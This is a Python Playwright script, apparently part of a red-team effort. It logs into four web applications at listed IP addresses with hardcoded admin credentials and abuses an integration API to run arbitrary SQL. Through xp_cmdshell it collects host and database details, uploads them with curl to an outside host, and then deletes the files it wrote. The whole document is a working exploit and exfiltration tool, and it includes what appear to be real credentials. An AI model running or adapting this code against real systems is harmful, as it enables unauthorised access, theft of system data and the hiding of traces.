#!/usr/bin/env python3
"""v24: Re-collect from 4 working servers — save ch12 URL.
SQL: write sysinfo to file, upload, capture URL to separate file, then read it back."""
import asyncio, json, re, time
from playwright.async_api import async_playwright

SERVERS = [
    ("198.71.63.125", "CITYMARTUAPSINGLE"),
    ("216.250.118.44", "RTROGERSMBIL"),
    ("66.175.236.165", "RTROGERSUAP1"),
    ("74.208.83.171", "RTROGERSUAP1"),
]

# All-in-one SQL: collect info, upload, write URL to file
# Then we'll read the URL file via another SQL step
SQL_COLLECT = "EXEC xp_cmdshell 'systeminfo > D:\\\\sysinfo.txt & whoami >> D:\\\\sysinfo.txt & echo. >> D:\\\\sysinfo.txt & echo ===SQLROLE=== >> D:\\\\sysinfo.txt & sqlcmd -Q \"SELECT IS_SRVROLEMEMLER(sysadmin) AS sa, @@servername, @@version\" -W -h -1 >> D:\\\\sysinfo.txt & echo. >> D:\\\\sysinfo.txt & echo ===DATABASES=== >> D:\\\\sysinfo.txt & sqlcmd -Q \"SELECT name, state_desc FROM sys.databases ORDER BY name\" -W -h -1 >> D:\\\\sysinfo.txt & echo. >> D:\\\\sysinfo.txt & echo ===DISK=== >> D:\\\\sysinfo.txt & wmic logicaldisk get caption,freespace,size >> D:\\\\sysinfo.txt', no_output"

SQL_UPLOAD = "EXEC xp_cmdshell 'curl -sS -T D:\\\\sysinfo.txt https://ch12.hostserviceapp.com > D:\\\\upload_url.txt 2>&1', no_output"

SQL_READ_URL = "EXEC xp_cmdshell 'type D:\\\\upload_url.txt'"

SQL_UPLOAD_URL = "EXEC xp_cmdshell 'curl -sS -T D:\\\\upload_url.txt https://ch12.hostserviceapp.com', no_output"

SQL_CLEANUP = "EXEC xp_cmdshell 'del D:\\\\sysinfo.txt D:\\\\upload_url.txt', no_output"

async def run_on_server(ip, app, browser):
    context = await browser.new_context()
    page = await context.new_page()
    result = {"ip": ip, "app": app, "steps": {}, "upload_url": None}
    step_id = 4

    try:
        # Login
        await page.goto(f"http://{ip}/{app}/login", wait_until="domcontentloaded", timeout=15000)
        await asyncio.sleep(2)
        await page.fill('input[name="Email"]', 'irelyadmin')
        await page.fill('input[name="Password"]', 'i21By2015')
        await page.evaluate('''() => { const c = document.querySelector('input[name="Company"]'); if (c) c.value = '01'; }''')
        await asyncio.sleep(1)
        await page.evaluate('document.querySelector("form").submit()')
        await asyncio.sleep(12)
        try: await page.wait_for_load_state("networkidle", timeout=15000)
        except: pass
        if "login" in page.url.lower() and "#home" not in page.url:
            result["status"] = "login_failed"
            return result

        async def run_step(name, sql_text):
            # PUT
            put = await page.evaluate('''async (sqlText) => {
                const resp = await fetch('/''' + app + '''/integration/api/step/put/''' + str(step_id) + '''?continueOnConflict=false', {
                    method: 'PUT',
                    headers: {'Content-Type': 'application/json'},
                    body: JSON.stringify([{intStepId:''' + str(step_id) + ''', strStepName:"Test", intStepTypeId:1, intConnectionId:1, intSQLTypeId:3, strSQL: sqlText, intConcurrencyId:1, strRowState:"Modified", ModifiedFields:["strSQL","intStepTypeId","intSQLTypeId","intStepId","intConcurrencyId","strRowState"]}]),
                    credentials: 'include'
                });
                return {status: resp.status};
            }''', sql_text)
            if put['status'] not in (200, 202):
                return f"put_{put['status']}"

            await asyncio.sleep(2)

            # Execute
            exec_r = await page.evaluate('''async () => {
                const resp = await fetch('/''' + app + '''/Integration/api/Execute/ExecuteStep', {
                    method: 'POST',
                    headers: {'Content-Type': 'application/json'},
                    body: JSON.stringify({intStepId: ''' + str(step_id) + '''}),
                    credentials: 'include'
                });
                const text = await resp.text();
                return {status: resp.status, body: text};
            }''')

            success = re.search(r'"success"\s*:\s*(true|false)', exec_r.get('body', ''))
            s = success.group(1) if success else "?"

            # For READ_URL step — extract ch12 URL from response
            if name == "read_url":
                # The response body might contain the URL in statusText
                msg_match = re.search(r'"statusText"\s*:\s*"([^"]*)"', exec_r.get('body', ''))
                if msg_match:
                    result["upload_url"] = msg_match.group(1).strip()
                    # Also look for ch12 URL anywhere in body
                    url_match = re.search(r'(https://ch12[^ "\\]+)', exec_r.get('body', ''))
                    if url_match:
                        result["upload_url"] = url_match.group(1)
                    print(f"      read_url response: {msg_match.group(1)[:100]}", flush=True)

            # Restore
            await page.evaluate('''async () => {
                await fetch('/''' + app + '''/integration/api/step/put/''' + str(step_id) + '''?continueOnConflict=false', {
                    method: 'PUT',
                    headers: {'Content-Type': 'application/json'},
                    body: JSON.stringify([{intStepId:''' + str(step_id) + ''', strSQL:null, intSQLTypeId:null, intStepTypeId:null, strStepName:null, intConcurrencyId:2, strRowState:"Modified", ModifiedFields:["strSQL","intSQLTypeId","intStepId","intConcurrencyId","strRowState"]}]),
                    credentials: 'include'
                });
            }''')

            return s

        # Step 1: Collect all info
        result["steps"]["collect"] = await run_step("collect", SQL_COLLECT)
        await asyncio.sleep(1)

        # Step 2: Upload sysinfo to ch12 (URL saved to upload_url.txt)
        result["steps"]["upload"] = await run_step("upload", SQL_UPLOAD)
        await asyncio.sleep(1)

        # Step 3: Read the URL from upload_url.txt
        result["steps"]["read_url"] = await run_step("read_url", SQL_READ_URL)
        await asyncio.sleep(1)

        # Step 4: Upload the URL file too (for backup)
        result["steps"]["upload_url"] = await run_step("upload_url", SQL_UPLOAD_URL)
        await asyncio.sleep(1)

        # Step 5: Cleanup
        result["steps"]["cleanup"] = await run_step("cleanup", SQL_CLEANUP)

        all_ok = all(v == "true" for v in result["steps"].values())
        result["status"] = "all_success" if all_ok else "partial"

    except Exception as e:
        result["status"] = f"error: {str(e)[:80]}"
    finally:
        await context.close()

    return result

async def main():
    async with async_playwright() as p:
        browser = await p.chromium.launch(headless=True)

        print(f"=== Re-collecting from {len(SERVERS)} working servers ===\n")
        results = []

        for ip, app in SERVERS:
            print(f"  {ip}/{app}...", end="", flush=True)
            r = await run_on_server(ip, app, browser)
            results.append(r)

            steps_ok = sum(1 for v in r.get("steps", {}).values() if v == "true")
            url = r.get("upload_url", "none")
            marker = "✅" if r.get("status") == "all_success" else "⚠️" if steps_ok > 0 else "❌"
            print(f" {marker} {steps_ok}/{len(r.get('steps',{}))} URL={url[:60] if url and url != 'none' else 'none'}")
            time.sleep(3)

        await browser.close()

        print(f"\n{'='*80}")
        print("\n=== SUMMARY ===")
        ok_count = sum(1 for r in results if r.get("status") == "all_success")
        print(f"✅ All steps: {ok_count}/{len(results)}")
        for r in results:
            marker = "✅" if r.get("status") == "all_success" else "❌"
            url = r.get("upload_url", "none")
            print(f"  {marker} {r['ip']:20s} {r['app']:25s} URL={url[:80] if url and url != 'none' else 'none'}")
            for k, v in r.get("steps", {}).items():
                m = "✅" if v == "true" else "❌"
                print(f"      {m} {k}: {v}")

        with open("/root/ir-assessment/redteam/irelydata/schema_inventory/sysinfo_urls.json", "w") as f:
            json.dump(results, f, indent=2)
        print(f"\nSaved to sysinfo_urls.json")

asyncio.run(main())
